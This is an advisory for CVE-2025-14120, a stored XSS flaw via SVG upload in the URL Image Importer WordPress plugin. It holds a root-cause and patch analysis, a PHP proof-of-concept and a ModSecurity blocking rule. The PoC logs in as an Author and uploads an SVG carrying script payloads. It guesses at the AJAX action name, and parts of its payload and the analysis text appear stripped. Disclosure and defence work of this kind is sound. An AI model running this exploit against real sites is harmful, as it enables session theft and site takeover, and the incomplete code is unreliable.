CVE-2025-14120: URL Image Importer <= 1.0.7 – Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload (url-image-importer)

{
“analysis”: “Atomic Edge analysis of CVE-2025-14120:nThis vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the URL Image Importer WordPress plugin. The vulnerability exists in the plugin’s SVG file upload sanitization function. Attackers with Author-level access or higher can upload a malicious SVG file containing script payloads. The plugin fails to properly sanitize this content, leading to stored XSS that executes when the SVG file is accessed.nnAtomic Edge research identified the root cause in the `uimptr_sanitize_svg_content` function within the main plugin file `url-image-importer.php`. The original function, spanning lines 171-196, used an insufficient blacklist approach. It only removed a limited set of dangerous elements and attributes, and its regex patterns for removing `javascript:` and `data:` URLs were incomplete. The function did not cover numerous SVG-specific event handlers, animation elements, and other XSS vectors, allowing malicious scripts to bypass sanitization.nnThe exploitation method requires an attacker to have an Author-level WordPress account. The attacker uploads a crafted SVG file via the plugin’s image import functionality. The malicious SVG contains script payloads within event attributes like `onload` or `onmouseover`, or uses elements like “ or “. Once uploaded, the SVG file is stored in the WordPress media library. Any user or visitor who accesses the direct URL to this SVG file will have the embedded scripts executed in their browser context, potentially leading to session hijacking or administrative actions.nnThe patch, applied in version 1.0.8, fundamentally changes the sanitization strategy. The updated `uimptr_sanitize_svg_content` function, now spanning lines 171-273, first attempts to use the robust `enshrined/svg-sanitize` library for whitelist-based sanitization. If the library is unavailable, it employs a significantly expanded fallback blacklist. This fallback adds many dangerous elements like `foreignobject` and `handler`, and includes a comprehensive list of event attributes covering DOM, SVG animation, and media events. The patch also improves URL scheme filtering to include `vbscript:` and `xlink:href` attributes, and adds regex patterns to remove dangerous “ and “ elements targeting event handlers, and “ elements with external references.nnSuccessful exploitation leads to stored cross-site scripting. An attacker can inject arbitrary JavaScript that executes in the context of any user viewing the malicious SVG. This can result in session cookie theft, account takeover, redirection to malicious sites, or performing actions on behalf of the victim user. For administrators, this could lead to full site compromise, such as injecting backdoors or creating new administrator accounts.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-14120 – URL Image Importer <= 1.0.7 – Authenticated (Author+) Stored Cross-Site Scripting via SVG File Uploadn<?phpnn$target_url = 'http://vulnerable-wordpress-site.com';n$username = 'author_user';n$password = 'author_password';nn// Malicious SVG payload with multiple XSS vectorsn$svg_payload = 'nn alert(“Atomic Edge XSS via script element”)n n n n alert(“Atomic Edge XSS via foreignobject”)n n n Click men’;nn// Step 1: Authenticate to WordPress and obtain nonce for uploadn$login_url = $target_url . ‘/wp-login.php’;n$admin_ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);n$response = curl_exec($ch);nn// Step 2: Extract the nonce required for the plugin’s upload actionn// The plugin likely uses a nonce for the ‘uimptr_import_images’ AJAX actionn// This step may require visiting the plugin’s admin page to get a fresh noncen// For this PoC, we assume the nonce is known or the plugin does not require one for this action in vulnerable versionsnn// Step 3: Upload the malicious SVG via the plugin’s AJAX endpointn// The exact AJAX action parameter name may vary; common patterns include ‘uimptr_import_images’ or similarncurl_setopt($ch, CURLOPT_URL, $admin_ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);nn// Create a temporary file with the SVG payloadn$tmp_svg = tempnam(sys_get_temp_dir(), ‘xss’) . ‘.svg’;nfile_put_contents($tmp_svg, $svg_payload);nn$post_fields = [n ‘action’ => ‘uimptr_import_images’, // Hypothetical action name; adjust based on actual pluginn ‘image_urls’ => ‘data:image/svg+xml;base64,’ . base64_encode($svg_payload)n // Alternatively, the plugin might accept direct file uploads via multipart/form-datan];nncurl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);n$response = curl_exec($ch);nn// Step 4: Parse response to get the URL of the uploaded SVGn// The response likely contains a JSON object with the attachment ID or direct URLn$upload_data = json_decode($response, true);nif (json_last_error() === JSON_ERROR_NONE && isset($upload_data[‘url’])) {n $svg_url = $upload_data[‘url’];n echo “Malicious SVG uploaded successfully. Access at: ” . $svg_url . “\n”;n echo “When accessed, the SVG will execute multiple XSS payloads.\n”;n} else {n echo “Upload may have succeeded. Check WordPress media library for the SVG file.\n”;n}nncurl_close($ch);nunlink($tmp_svg);nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-14120nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:10014120,phase:2,deny,status:403,chain,msg:’CVE-2025-14120: URL Image Importer SVG XSS via AJAX’,severity:’CRITICAL’,tag:’CVE-2025-14120′,tag:’WordPress’,tag:’Plugin’,tag:’XSS'”n SecRule ARGS_POST:action “@streq uimptr_import_images” “chain”n SecRule ARGS_POST:image_urls “@rx data:image/svg\+xml[^,]*base64[^,]*]*>” \n “t:lowercase,t:urlDecodeUni,ctl:auditLogParts=+E””
}